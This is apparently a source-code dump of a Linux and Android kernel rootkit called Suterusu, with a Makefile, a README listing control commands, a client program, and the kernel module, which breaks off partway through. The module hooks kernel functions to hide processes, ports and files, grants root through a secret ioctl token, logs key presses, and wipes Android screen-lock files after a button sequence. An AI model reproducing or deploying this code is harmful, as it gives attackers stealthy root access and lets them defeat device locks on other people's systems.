├── Makefile ├── README ├── sock.c └── suterusu.c /Makefile: -------------------------------------------------------------------------------- 1 | obj-m += suterusu.o 2 | 3 | default: 4 | @echo "To build Suterusu, type:" 5 | @echo " make TARGET KDIR=/path/to/kernel" 6 | @echo 7 | @echo "To cross-compile, type:" 8 | @echo " make TARGET CROSS_COMPILE=arm-linux-androideabi- KDIR=/path/to/kernel" 9 | @echo 10 | @echo "To clean the build dir, type:" 11 | @echo " make clean KDIR=/path/to/kernel" 12 | @echo 13 | @echo "Supported targets:" 14 | @echo "linux-x86 Linux, x86" 15 | @echo "android-arm Android Linux, ARM" 16 | @echo 17 | 18 | linux-x86: 19 | ifndef KDIR 20 | @echo "Must provide KDIR!" 21 | @exit 1 22 | endif 23 | $(MAKE) ARCH=x86 EXTRA_CFLAGS=-D_CONFIG_X86_ -C $(KDIR) M=$(PWD) modules 24 | 25 | android-arm: 26 | ifndef KDIR 27 | @echo "Must provide KDIR!" 28 | @exit 1 29 | endif 30 | $(MAKE) ARCH=arm EXTRA_CFLAGS="-D_CONFIG_ARM_ -fno-pic" -C $(KDIR) M=$(PWD) modules 31 | 32 | clean: 33 | ifndef KDIR 34 | @echo "Must provide KDIR!" 35 | @exit 1 36 | endif 37 | $(MAKE) -C $(KDIR) M=$(PWD) clean 38 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | Suterusu 2 | ======== 3 | 4 | Typical compilation steps: 5 | 6 | $ wget http://kernel.org/linux-x.x.x.tar.gz 7 | $ tar xvf linux-x.x.x.tar.gz 8 | $ cd linux-x.x.x 9 | $ make menuconfig 10 | $ make modules_prepare 11 | $ cd /path/to/suterusu 12 | $ make linux-x86 KDIR=/path/to/kernel 13 | 14 | 15 | To compile against the currently running kernel (kernel headers installed): 16 | 17 | $ make linux-x86 KDIR=/lib/modules/$(uname -r)/build 18 | 19 | 20 | If a specific toolchain is desired for cross-compilation, provide the 21 | CROSS_COMPILE variable during make: 22 | 23 | $ make android-arm CROSS_COMPILE=arm-linux-androideabi- KDIR=/path/to/kernel 24 | 25 | 26 | To compile the command binary: 27 | $ gcc sock.c -o sock 28 | 29 | 30 | Commands 31 | ======== 32 | 33 | Root shell 34 | $ ./sock 0 35 | 36 | Hide PID 37 | $ ./sock 1 [pid] 38 | 39 | Unhide PID 40 | $ ./sock 2 [pid] 41 | 42 | Hide TCPv4 port 43 | $ ./sock 3 [port] 44 | 45 | Unhide TCPv4 port 46 | $ ./sock 4 [port] 47 | 48 | Hide TCPv6 port 49 | $ ./sock 5 [port] 50 | 51 | Unhide TCPv6 port 52 | $ ./sock 6 [port] 53 | 54 | Hide UDPv4 port 55 | $ ./sock 7 [port] 56 | 57 | Unhide UDPv4 port 58 | $ ./sock 8 [port] 59 | 60 | Hide UDPv6 port 61 | $ ./sock 9 [port] 62 | 63 | Unhide UDPv6 port 64 | $ ./sock 10 [port] 65 | 66 | Hide file/directory 67 | $ ./sock 11 [name] 68 | 69 | Unhide file/directory 70 | $ ./sock 12 [name] 71 | 72 | Note: At the moment, file/dir hiding only hides names in / directory 73 | -------------------------------------------------------------------------------- /sock.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define AUTH_TOKEN 0x12345678 13 | 14 | #define SHELL "/bin/sh" // Linux 15 | //#define SHELL "/system/bin/sh" // Android 16 | 17 | struct rk_proc_args { 18 | unsigned short pid; 19 | }; 20 | 21 | struct rk_port_args { 22 | unsigned short port; 23 | }; 24 | 25 | struct rk_file_args { 26 | char *name; 27 | unsigned short namelen; 28 | }; 29 | 30 | struct rk_args { 31 | unsigned short cmd; 32 | void *ptr; 33 | }; 34 | 35 | int main ( int argc, char *argv[] ) 36 | { 37 | struct rk_args rk_args; 38 | struct rk_proc_args rk_proc_args; 39 | struct rk_port_args rk_port_args; 40 | struct rk_file_args rk_file_args; 41 | int sockfd; 42 | int io; 43 | 44 | sockfd = socket(AF_INET, SOCK_STREAM, 6); 45 | if(sockfd < 0){ 46 | perror("socket"); 47 | exit(1); 48 | } 49 | 50 | switch ( atoi(argv[1]) ) 51 | { 52 | case 0: 53 | printf("Dropping to root shell\n"); 54 | rk_args.cmd = 0; 55 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 56 | execl(SHELL, "sh", NULL); 57 | break; 58 | 59 | case 1: 60 | { 61 | unsigned short pid = (unsigned short)strtoul(argv[2], NULL, 0); 62 | 63 | printf("Hiding PID %hu\n", pid); 64 | 65 | rk_proc_args.pid = pid; 66 | rk_args.cmd = 1; 67 | rk_args.ptr = &rk_proc_args; 68 | 69 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 70 | } 71 | break; 72 | 73 | case 2: 74 | { 75 | unsigned short pid = (unsigned short)strtoul(argv[2], NULL, 0); 76 | 77 | printf("Unhiding PID %hu\n", pid); 78 | 79 | rk_proc_args.pid = pid; 80 | rk_args.cmd = 2; 81 | rk_args.ptr = &rk_proc_args; 82 | 83 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 84 | } 85 | break; 86 | 87 | case 3: 88 | { 89 | unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); 90 | 91 | printf("Hiding TCPv4 port %hu\n", port); 92 | 93 | rk_port_args.port = port; 94 | rk_args.cmd = 3; 95 | rk_args.ptr = &rk_port_args; 96 | 97 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 98 | } 99 | break; 100 | 101 | case 4: 102 | { 103 | unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); 104 | 105 | printf("Unhiding TCPv4 port %hu\n", port); 106 | 107 | rk_port_args.port = port; 108 | rk_args.cmd = 4; 109 | rk_args.ptr = &rk_port_args; 110 | 111 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 112 | } 113 | break; 114 | case 5: 115 | { 116 | unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); 117 | 118 | printf("Hiding TCPv6 port %hu\n", port); 119 | 120 | rk_port_args.port = port; 121 | rk_args.cmd = 5; 122 | rk_args.ptr = &rk_port_args; 123 | 124 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 125 | } 126 | break; 127 | 128 | case 6: 129 | { 130 | unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); 131 | 132 | printf("Unhiding TCPv6 port %hu\n", port); 133 | 134 | rk_port_args.port = port; 135 | rk_args.cmd = 6; 136 | rk_args.ptr = &rk_port_args; 137 | 138 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 139 | } 140 | break; 141 | 142 | case 7: 143 | { 144 | unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); 145 | 146 | printf("Hiding UDPv4 port %hu\n", port); 147 | 148 | rk_port_args.port = port; 149 | rk_args.cmd = 7; 150 | rk_args.ptr = &rk_port_args; 151 | 152 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 153 | } 154 | break; 155 | 156 | case 8: 157 | { 158 | unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); 159 | 160 | printf("Unhiding UDPv4 port %hu\n", port); 161 | 162 | rk_port_args.port = port; 163 | rk_args.cmd = 8; 164 | rk_args.ptr = &rk_port_args; 165 | 166 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 167 | } 168 | break; 169 | 170 | case 9: 171 | { 172 | unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); 173 | 174 | printf("Hiding UDPv6 port %hu\n", port); 175 | 176 | rk_port_args.port = port; 177 | rk_args.cmd = 9; 178 | rk_args.ptr = &rk_port_args; 179 | 180 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 181 | } 182 | break; 183 | 184 | case 10: 185 | { 186 | unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); 187 | 188 | printf("Unhiding UDPv6 port %hu\n", port); 189 | 190 | rk_port_args.port = port; 191 | rk_args.cmd = 10; 192 | rk_args.ptr = &rk_port_args; 193 | 194 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 195 | } 196 | break; 197 | 198 | case 11: 199 | { 200 | char *name = argv[2]; 201 | 202 | printf("Hiding file/dir %s\n", name); 203 | 204 | rk_file_args.name = name; 205 | rk_file_args.namelen = strlen(name); 206 | rk_args.cmd = 11; 207 | rk_args.ptr = &rk_file_args; 208 | 209 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 210 | } 211 | break; 212 | 213 | case 12: 214 | { 215 | char *name = argv[2]; 216 | 217 | printf("Unhiding file/dir %s\n", name); 218 | 219 | rk_file_args.name = name; 220 | rk_file_args.namelen = strlen(name); 221 | rk_args.cmd = 12; 222 | rk_args.ptr = &rk_file_args; 223 | 224 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 225 | } 226 | break; 227 | 228 | case 100: 229 | { 230 | printf("Null command\n"); 231 | 232 | rk_args.cmd = 100; 233 | 234 | io = ioctl(sockfd, AUTH_TOKEN, &rk_args); 235 | } 236 | break; 237 | 238 | default: 239 | { 240 | struct ifconf ifc; 241 | printf("No action\n"); 242 | io = ioctl(sockfd, SIOCGIFCONF, &ifc); 243 | } 244 | break; 245 | } 246 | 247 | if(io < 0){ 248 | perror("ioctl"); 249 | exit(1); 250 | } 251 | 252 | return 0; 253 | } 254 | -------------------------------------------------------------------------------- /suterusu.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #define AUTH_TOKEN 0x12345678 29 | #define __DEBUG__ 1 30 | 31 | unsigned long sequence[] = { 32 | 42, // Volume Up downpress 33 | 63232, 34 | 63232, 35 | 58, // Volume Down downpress 36 | 61959, 37 | 61959, 38 | 42, // Volume Up uppress 39 | 63232, 40 | 63232, 41 | 58, // Volume Down uppress 42 | 61959, 43 | 61959 44 | }; 45 | 46 | #define SEQUENCE_SIZE sizeof(sequence)/sizeof(unsigned long) 47 | 48 | struct task_struct *ts; 49 | unsigned long sequence_i = 0; 50 | volatile unsigned long to_unlock = 0; 51 | 52 | DECLARE_WAIT_QUEUE_HEAD(unlocker_event); 53 | 54 | #ifdef _CONFIG_X86_ 55 | #define HIJACK_SIZE 6 56 | #else // ARM 57 | #define HIJACK_SIZE 12 58 | #endif 59 | 60 | #define TMPSZ 150 61 | 62 | //unsigned long *sys_call_table; 63 | static int (*inet_ioctl)(struct socket *, unsigned int, unsigned long); 64 | static int (*tcp4_seq_show)(struct seq_file *seq, void *v); 65 | static int (*tcp6_seq_show)(struct seq_file *seq, void *v); 66 | static int (*udp4_seq_show)(struct seq_file *seq, void *v); 67 | static int (*udp6_seq_show)(struct seq_file *seq, void *v); 68 | static int (*proc_readdir)(struct file *file, void *dirent, filldir_t filldir); 69 | static int (*root_readdir)(struct file *file, void *dirent, filldir_t filldir); 70 | static int (*o_proc_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type); 71 | static int (*o_root_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type); 72 | 73 | int notify(struct notifier_block *nblock, unsigned long code, void *_param); 74 | 75 | struct s_proc_args { 76 | unsigned short pid; 77 | }; 78 | 79 | struct s_port_args { 80 | unsigned short port; 81 | }; 82 | 83 | struct s_file_args { 84 | char *name; 85 | unsigned short namelen; 86 | }; 87 | 88 | struct s_args { 89 | unsigned short cmd; 90 | void *ptr; 91 | }; 92 | 93 | struct sym_hook { 94 | void *addr; 95 | unsigned char o_code[HIJACK_SIZE]; 96 | unsigned char n_code[HIJACK_SIZE]; 97 | struct list_head list; 98 | }; 99 | 100 | LIST_HEAD(hooked_syms); 101 | 102 | struct hidden_port { 103 | unsigned short port; 104 | struct list_head list; 105 | }; 106 | 107 | LIST_HEAD(hidden_tcp4_ports); 108 | LIST_HEAD(hidden_tcp6_ports); 109 | LIST_HEAD(hidden_udp4_ports); 110 | LIST_HEAD(hidden_udp6_ports); 111 | 112 | struct hidden_proc { 113 | unsigned short pid; 114 | struct list_head list; 115 | }; 116 | 117 | LIST_HEAD(hidden_procs); 118 | 119 | struct hidden_file { 120 | char *name; 121 | struct list_head list; 122 | }; 123 | 124 | LIST_HEAD(hidden_files); 125 | 126 | static struct notifier_block nb = { 127 | .notifier_call = notify 128 | }; 129 | 130 | struct { 131 | unsigned short limit; 132 | unsigned int base; 133 | } __attribute__ ((packed))idtr; 134 | 135 | struct { 136 | unsigned short off1; 137 | unsigned short sel; 138 | unsigned char none, flags; 139 | unsigned short off2; 140 | } __attribute__ ((packed))idt; 141 | 142 | char *strnstr ( const char *haystack, const char *needle, size_t n ) 143 | { 144 | char *s = strstr(haystack, needle); 145 | 146 | if ( s == NULL ) 147 | return NULL; 148 | 149 | if ( s - haystack + strlen(needle) <= n ) 150 | return s; 151 | else 152 | return NULL; 153 | } 154 | 155 | #ifdef _CONFIG_X86_ 156 | // Thanks Dan 157 | inline unsigned long disable_wp ( void ) 158 | { 159 | unsigned long cr0; 160 | 161 | preempt_disable(); 162 | barrier(); 163 | 164 | cr0 = read_cr0(); 165 | write_cr0(cr0 & ~X86_CR0_WP); 166 | return cr0; 167 | } 168 | 169 | inline void restore_wp ( unsigned long cr0 ) 170 | { 171 | write_cr0(cr0); 172 | 173 | barrier(); 174 | preempt_enable_no_resched(); 175 | } 176 | #else // ARM 177 | void cacheflush ( void *begin, unsigned long size ) 178 | { 179 | flush_icache_range((long unsigned int)begin, (long unsigned int)begin + size); 180 | } 181 | #endif 182 | 183 | void *get_inet_ioctl ( int family, int type, int protocol ) 184 | { 185 | void *ret; 186 | struct socket *sock = NULL; 187 | 188 | if ( sock_create(family, type, protocol, &sock) ) 189 | return NULL; 190 | 191 | ret = sock->ops->ioctl; 192 | 193 | sock_release(sock); 194 | 195 | return ret; 196 | } 197 | 198 | void *get_vfs_readdir ( const char *path ) 199 | { 200 | void *ret; 201 | struct file *filep; 202 | 203 | if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL ) 204 | return NULL; 205 | 206 | ret = filep->f_op->readdir; 207 | 208 | filp_close(filep, 0); 209 | 210 | return ret; 211 | } 212 | 213 | void *get_vfs_read ( const char *path ) 214 | { 215 | void *ret; 216 | struct file *filep; 217 | 218 | if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL ) 219 | return NULL; 220 | 221 | ret = filep->f_op->read; 222 | 223 | filp_close(filep, 0); 224 | 225 | return ret; 226 | } 227 | 228 | void *get_tcp_seq_show ( const char *path ) 229 | { 230 | void *ret; 231 | struct file *filep; 232 | struct tcp_seq_afinfo *afinfo; 233 | 234 | if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL ) 235 | return NULL; 236 | 237 | afinfo = PDE(filep->f_dentry->d_inode)->data; 238 | ret = afinfo->seq_ops.show; 239 | 240 | filp_close(filep, 0); 241 | 242 | return ret; 243 | } 244 | 245 | void *get_udp_seq_show ( const char *path ) 246 | { 247 | void *ret; 248 | struct file *filep; 249 | struct udp_seq_afinfo *afinfo; 250 | 251 | if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL ) 252 | return NULL; 253 | 254 | afinfo = PDE(filep->f_dentry->d_inode)->data; 255 | ret = afinfo->seq_ops.show; 256 | 257 | filp_close(filep, 0); 258 | 259 | return ret; 260 | } 261 | 262 | void hide_tcp4_port ( unsigned short port ) 263 | { 264 | struct hidden_port *hp; 265 | 266 | hp = kmalloc(sizeof(*hp), GFP_KERNEL); 267 | if ( ! hp ) 268 | return; 269 | 270 | hp->port = port; 271 | 272 | list_add(&hp->list, &hidden_tcp4_ports); 273 | } 274 | 275 | void unhide_tcp4_port ( unsigned short port ) 276 | { 277 | struct hidden_port *hp; 278 | 279 | list_for_each_entry ( hp, &hidden_tcp4_ports, list ) 280 | { 281 | if ( port == hp->port ) 282 | { 283 | list_del(&hp->list); 284 | kfree(hp); 285 | break; 286 | } 287 | } 288 | } 289 | 290 | void hide_tcp6_port ( unsigned short port ) 291 | { 292 | struct hidden_port *hp; 293 | 294 | hp = kmalloc(sizeof(*hp), GFP_KERNEL); 295 | if ( ! hp ) 296 | return; 297 | 298 | hp->port = port; 299 | 300 | list_add(&hp->list, &hidden_tcp6_ports); 301 | } 302 | 303 | void unhide_tcp6_port ( unsigned short port ) 304 | { 305 | struct hidden_port *hp; 306 | 307 | list_for_each_entry ( hp, &hidden_tcp6_ports, list ) 308 | { 309 | if ( port == hp->port ) 310 | { 311 | list_del(&hp->list); 312 | kfree(hp); 313 | break; 314 | } 315 | } 316 | } 317 | 318 | void hide_udp4_port ( unsigned short port ) 319 | { 320 | struct hidden_port *hp; 321 | 322 | hp = kmalloc(sizeof(*hp), GFP_KERNEL); 323 | if ( ! hp ) 324 | return; 325 | 326 | hp->port = port; 327 | 328 | list_add(&hp->list, &hidden_udp4_ports); 329 | } 330 | 331 | void unhide_udp4_port ( unsigned short port ) 332 | { 333 | struct hidden_port *hp; 334 | 335 | list_for_each_entry ( hp, &hidden_udp4_ports, list ) 336 | { 337 | if ( port == hp->port ) 338 | { 339 | list_del(&hp->list); 340 | kfree(hp); 341 | break; 342 | } 343 | } 344 | } 345 | 346 | void hide_udp6_port ( unsigned short port ) 347 | { 348 | struct hidden_port *hp; 349 | 350 | hp = kmalloc(sizeof(*hp), GFP_KERNEL); 351 | if ( ! hp ) 352 | return; 353 | 354 | hp->port = port; 355 | 356 | list_add(&hp->list, &hidden_udp6_ports); 357 | } 358 | 359 | void unhide_udp6_port ( unsigned short port ) 360 | { 361 | struct hidden_port *hp; 362 | 363 | list_for_each_entry ( hp, &hidden_udp6_ports, list ) 364 | { 365 | if ( port == hp->port ) 366 | { 367 | list_del(&hp->list); 368 | kfree(hp); 369 | break; 370 | } 371 | } 372 | } 373 | 374 | void hide_proc ( unsigned short pid ) 375 | { 376 | struct hidden_proc *hp; 377 | 378 | hp = kmalloc(sizeof(*hp), GFP_KERNEL); 379 | if ( ! hp ) 380 | return; 381 | 382 | hp->pid = pid; 383 | 384 | list_add(&hp->list, &hidden_procs); 385 | } 386 | 387 | void unhide_proc ( unsigned short pid ) 388 | { 389 | struct hidden_proc *hp; 390 | 391 | list_for_each_entry ( hp, &hidden_procs, list ) 392 | { 393 | if ( pid == hp->pid ) 394 | { 395 | list_del(&hp->list); 396 | kfree(hp); 397 | break; 398 | } 399 | } 400 | } 401 | 402 | void hide_file ( char *name ) 403 | { 404 | struct hidden_file *hf; 405 | 406 | hf = kmalloc(sizeof(*hf), GFP_KERNEL); 407 | if ( ! hf ) 408 | return; 409 | 410 | hf->name = name; 411 | 412 | list_add(&hf->list, &hidden_files); 413 | } 414 | 415 | void unhide_file ( char *name ) 416 | { 417 | struct hidden_file *hf; 418 | 419 | list_for_each_entry ( hf, &hidden_files, list ) 420 | { 421 | if ( name == hf->name ) 422 | { 423 | list_del(&hf->list); 424 | kfree(hf->name); 425 | kfree(hf); 426 | break; 427 | } 428 | } 429 | } 430 | 431 | void hijack_start ( void *target, void *new ) 432 | { 433 | struct sym_hook *sa; 434 | unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE]; 435 | 436 | #ifdef _CONFIG_X86_ 437 | unsigned long o_cr0; 438 | 439 | // push $addr; ret 440 | memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE); 441 | *(unsigned long *)&n_code[1] = (unsigned long)new; 442 | #else // ARM 443 | if ( (unsigned long)target % 4 == 0 ) 444 | { 445 | // ldr pc, [pc, #0]; .long addr; .long addr 446 | memcpy(n_code, "\x00\xf0\x9f\xe5\x00\x00\x00\x00\x00\x00\x00\x00", HIJACK_SIZE); 447 | *(unsigned long *)&n_code[4] = (unsigned long)new; 448 | *(unsigned long *)&n_code[8] = (unsigned long)new; 449 | } 450 | else // Thumb 451 | { 452 | // add r0, pc, #4; ldr r0, [r0, #0]; mov pc, r0; mov pc, r0; .long addr 453 | memcpy(n_code, "\x01\xa0\x00\x68\x87\x46\x87\x46\x00\x00\x00\x00", HIJACK_SIZE); 454 | *(unsigned long *)&n_code[8] = (unsigned long)new; 455 | target--; 456 | } 457 | #endif 458 | 459 | #if __DEBUG__ 460 | printk("Hooking function 0x%p with 0x%p\n", target, new); 461 | #endif 462 | 463 | memcpy(o_code, target, HIJACK_SIZE); 464 | 465 | #ifdef _CONFIG_X86_ 466 | o_cr0 = disable_wp(); 467 | memcpy(target, n_code, HIJACK_SIZE); 468 | restore_wp(o_cr0); 469 | #else // ARM 470 | memcpy(target, n_code, HIJACK_SIZE); 471 | cacheflush(target, HIJACK_SIZE); 472 | #endif 473 | 474 | sa = kmalloc(sizeof(*sa), GFP_KERNEL); 475 | if ( ! sa ) 476 | return; 477 | 478 | sa->addr = target; 479 | memcpy(sa->o_code, o_code, HIJACK_SIZE); 480 | memcpy(sa->n_code, n_code, HIJACK_SIZE); 481 | 482 | list_add(&sa->list, &hooked_syms); 483 | } 484 | 485 | void hijack_pause ( void *target ) 486 | { 487 | struct sym_hook *sa; 488 | 489 | #if __DEBUG__ 490 | printk("Pausing function hook 0x%p\n", target); 491 | #endif 492 | 493 | list_for_each_entry ( sa, &hooked_syms, list ) 494 | if ( target == sa->addr ) 495 | { 496 | #ifdef _CONFIG_X86_ 497 | unsigned long o_cr0 = disable_wp(); 498 | memcpy(target, sa->o_code, HIJACK_SIZE); 499 | restore_wp(o_cr0); 500 | #else // ARM 501 | memcpy(target, sa->o_code, HIJACK_SIZE); 502 | cacheflush(target, HIJACK_SIZE); 503 | #endif 504 | } 505 | } 506 | 507 | void hijack_resume ( void *target ) 508 | { 509 | struct sym_hook *sa; 510 | 511 | #if __DEBUG__ 512 | printk("Resuming function hook 0x%p\n", target); 513 | #endif 514 | 515 | list_for_each_entry ( sa, &hooked_syms, list ) 516 | if ( target == sa->addr ) 517 | { 518 | #ifdef _CONFIG_X86_ 519 | unsigned long o_cr0 = disable_wp(); 520 | memcpy(target, sa->n_code, HIJACK_SIZE); 521 | restore_wp(o_cr0); 522 | #else // ARM 523 | memcpy(target, sa->n_code, HIJACK_SIZE); 524 | cacheflush(target, HIJACK_SIZE); 525 | #endif 526 | } 527 | } 528 | 529 | void hijack_stop ( void *target ) 530 | { 531 | struct sym_hook *sa; 532 | 533 | #if __DEBUG__ 534 | printk("Unhooking function 0x%p\n", target); 535 | #endif 536 | 537 | list_for_each_entry ( sa, &hooked_syms, list ) 538 | if ( target == sa->addr ) 539 | { 540 | #ifdef _CONFIG_X86_ 541 | unsigned long o_cr0 = disable_wp(); 542 | memcpy(target, sa->o_code, HIJACK_SIZE); 543 | restore_wp(o_cr0); 544 | #else // ARM 545 | memcpy(target, sa->o_code, HIJACK_SIZE); 546 | cacheflush(target, HIJACK_SIZE); 547 | #endif 548 | 549 | list_del(&sa->list); 550 | kfree(sa); 551 | break; 552 | } 553 | } 554 | 555 | static int n_tcp4_seq_show ( struct seq_file *seq, void *v ) 556 | { 557 | int ret = 0; 558 | char port[12]; 559 | struct hidden_port *hp; 560 | 561 | hijack_pause(tcp4_seq_show); 562 | ret = tcp4_seq_show(seq, v); 563 | hijack_resume(tcp4_seq_show); 564 | 565 | list_for_each_entry ( hp, &hidden_tcp4_ports, list ) 566 | { 567 | sprintf(port, ":%04X", hp->port); 568 | 569 | if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) 570 | { 571 | seq->count -= TMPSZ; 572 | break; 573 | } 574 | } 575 | 576 | return ret; 577 | } 578 | 579 | static int n_tcp6_seq_show ( struct seq_file *seq, void *v ) 580 | { 581 | int ret; 582 | char port[12]; 583 | struct hidden_port *hp; 584 | 585 | hijack_pause(tcp6_seq_show); 586 | ret = tcp6_seq_show(seq, v); 587 | hijack_resume(tcp6_seq_show); 588 | 589 | list_for_each_entry ( hp, &hidden_tcp6_ports, list ) 590 | { 591 | sprintf(port, ":%04X", hp->port); 592 | 593 | if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) 594 | { 595 | seq->count -= TMPSZ; 596 | break; 597 | } 598 | } 599 | 600 | return ret; 601 | } 602 | 603 | static int n_udp4_seq_show ( struct seq_file *seq, void *v ) 604 | { 605 | int ret; 606 | char port[12]; 607 | struct hidden_port *hp; 608 | 609 | hijack_pause(udp4_seq_show); 610 | ret = udp4_seq_show(seq, v); 611 | hijack_resume(udp4_seq_show); 612 | 613 | list_for_each_entry ( hp, &hidden_udp4_ports, list ) 614 | { 615 | sprintf(port, ":%04X", hp->port); 616 | 617 | if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) 618 | { 619 | seq->count -= TMPSZ; 620 | break; 621 | } 622 | } 623 | 624 | return ret; 625 | } 626 | 627 | static int n_udp6_seq_show ( struct seq_file *seq, void *v ) 628 | { 629 | int ret; 630 | char port[12]; 631 | struct hidden_port *hp; 632 | 633 | hijack_pause(udp6_seq_show); 634 | ret = udp6_seq_show(seq, v); 635 | hijack_resume(udp6_seq_show); 636 | 637 | list_for_each_entry ( hp, &hidden_udp6_ports, list ) 638 | { 639 | sprintf(port, ":%04X", hp->port); 640 | 641 | if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) 642 | { 643 | seq->count -= TMPSZ; 644 | break; 645 | } 646 | } 647 | 648 | return ret; 649 | } 650 | 651 | static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) 652 | { 653 | struct hidden_file *hf; 654 | 655 | list_for_each_entry ( hf, &hidden_files, list ) 656 | if ( ! strcmp(name, hf->name) ) 657 | return 0; 658 | 659 | return o_root_filldir(__buf, name, namelen, offset, ino, d_type); 660 | } 661 | 662 | int n_root_readdir ( struct file *file, void *dirent, filldir_t filldir ) 663 | { 664 | int ret; 665 | 666 | if ( ! file || ! file->f_vfsmnt ) // XXX is this necessary? 667 | return 0; 668 | 669 | o_root_filldir = filldir; 670 | 671 | hijack_pause(root_readdir); 672 | ret = root_readdir(file, dirent, &n_root_filldir); 673 | hijack_resume(root_readdir); 674 | 675 | return ret; 676 | } 677 | 678 | static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) 679 | { 680 | struct hidden_proc *hp; 681 | char *endp; 682 | long pid; 683 | 684 | pid = simple_strtol(name, &endp, 10); 685 | 686 | list_for_each_entry ( hp, &hidden_procs, list ) 687 | if ( pid == hp->pid ) 688 | return 0; 689 | 690 | return o_proc_filldir(__buf, name, namelen, offset, ino, d_type); 691 | } 692 | 693 | int n_proc_readdir ( struct file *file, void *dirent, filldir_t filldir ) 694 | { 695 | int ret; 696 | 697 | o_proc_filldir = filldir; 698 | 699 | hijack_pause(proc_readdir); 700 | ret = proc_readdir(file, dirent, &n_proc_filldir); 701 | hijack_resume(proc_readdir); 702 | 703 | return ret; 704 | } 705 | 706 | int notify ( struct notifier_block *nblock, unsigned long code, void *_param ) 707 | { 708 | struct keyboard_notifier_param *param = _param; 709 | 710 | #ifdef __DEBUG__ 711 | printk("KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up")); 712 | #endif 713 | 714 | if ( sequence[sequence_i] == param->value ) 715 | { 716 | if ( ++sequence_i == SEQUENCE_SIZE ) 717 | { 718 | #ifdef __DEBUG__ 719 | printk("Key sequence detected, unlock the screen!\n"); 720 | #endif 721 | 722 | to_unlock = 1; 723 | sequence_i = 0; 724 | wake_up_interruptible(&unlocker_event); 725 | } 726 | } 727 | else 728 | sequence_i = 0; 729 | 730 | return NOTIFY_OK; 731 | } 732 | 733 | int unlocker ( void *data ) 734 | { 735 | while ( 1 ) 736 | { 737 | wait_event_interruptible(unlocker_event, (to_unlock == 1)); 738 | 739 | #if __DEBUG__ 740 | printk("Inside the unlocker thread, removing screen lock\n"); 741 | #endif 742 | 743 | #ifdef _CONFIG_X86_ 744 | // Kill screenlock 745 | #else // ARM 746 | filp_close(filp_open("/data/system/gesture.key", O_TRUNC, 0), NULL); 747 | filp_close(filp_open("/data/system/password.key", O_TRUNC, 0), NULL); 748 | #endif 749 | 750 | to_unlock = 0; 751 | 752 | if ( kthread_should_stop() ) 753 | break; 754 | } 755 | 756 | return 0; 757 | } 758 | 759 | static long n_inet_ioctl ( struct socket *sock, unsigned int cmd, unsigned long arg ) 760 | { 761 | int ret; 762 | struct s_args args; 763 | 764 | if ( cmd == AUTH_TOKEN ) 765 | { 766 | #if __DEBUG__ 767 | printk("Authenticated, receiving command\n"); 768 | #endif 769 | 770 | ret = copy_from_user(&args, (void *)arg, sizeof(args)); 771 | if ( ret ) 772 | return 0; 773 | 774 | switch ( args.cmd ) 775 | { 776 | /* Upgrade privileges of current process */ 777 | case 0: 778 | #if __DEBUG__ 779 | printk("Elevating privileges of PID %hu\n", current->pid); 780 | #endif 781 | 782 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) 783 | current->uid = 0; 784 | current->suid = 0; 785 | current->euid = 0; 786 | current->gid = 0; 787 | current->egid = 0; 788 | current->fsuid = 0; 789 | current->fsgid = 0; 790 | cap_set_full(current->cap_effective); 791 | cap_set_full(current->cap_inheritable); 792 | cap_set_full(current->cap_permitted); 793 | #else 794 | commit_creds(prepare_kernel_cred(0)); 795 | #endif 796 | break; 797 | 798 | /* Hide process */ 799 | case 1: 800 | { 801 | struct s_proc_args proc_args; 802 | 803 | ret = copy_from_user(&proc_args, args.ptr, sizeof(proc_args)); 804 | if ( ret ) 805 | return 0; 806 | 807 | #if __DEBUG__ 808 | printk("Hiding PID %hu\n", proc_args.pid); 809 | #endif 810 | 811 | hide_proc(proc_args.pid); 812 | } 813 | break; 814 